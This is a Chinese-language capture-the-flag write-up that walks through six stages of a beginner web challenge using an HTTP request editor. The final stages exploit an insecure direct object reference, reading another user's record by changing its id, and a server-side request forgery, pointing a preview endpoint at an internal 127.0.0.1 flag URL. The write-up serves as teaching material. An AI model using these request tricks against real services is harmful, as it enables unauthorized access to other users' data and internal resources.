Welcome_To_WEB
1.打开网址
是一个HTTP请求编辑器,共有六关。
2.第一关
提示为:入口是/api/hello,访客名字是cookie。
在Path+Query处输入:
/api/hello?name=rookie
成功。
3.第二关
得到回显。
{“message”:“欢迎,rookie!下一关需要提交表单。”,“passcode”:“hello-http”,“next”:“POST /api/checkin,表单字段 code=<passcode>”}
改为POST Path+Query处输入:
/api/checkin
请求头处加入:
Content-Type: application/x-www-form-urlencoded
ps:告诉服务器接下来的是正文,是网页表单格式。 请求正文加入:
code=hello-http
成功。
4.第三关
得到回显。
{“message”:“登记成功!下一关 GET /api/verify。门禁密钥不在正文里,请检查本次响应头 X-Quest-Key。”,“next”:"/api/verify"}
Path+Query改为:
/api/verify
请求头添加:
X-Quest-Key: look-at-the-headers
成功。
5.第四关
得到回显。
{“message”:“门禁已开。先查看你自己的档案。”,“your_record_id”:1001,“next”:“GET /api/record?id=1001”}
Path+Query改为:
/api/record?id=1001
成功。
6.第五关
得到回显。
{“id”:1001,“owner”:“rookie”,“note”:“这份档案属于你。”}
且有提示IDOR漏洞。
尝试读取别的档案。 Path+Query改为:
/api/record?id=1002
成功。
7.第六关
得到回显。
{“id”:1002,“owner”:“curator”,“note”:“馆长保存了一个内部资源地址。”,“internal_url”:“http://127.0.0.1:8000/internal/flag”}
且有提示,档案馆通过,/api/preview?url=,预览地址。
Path+Query改为:
/api/preview?url=http://127.0.0.1:8000/internal/flag
得到flag。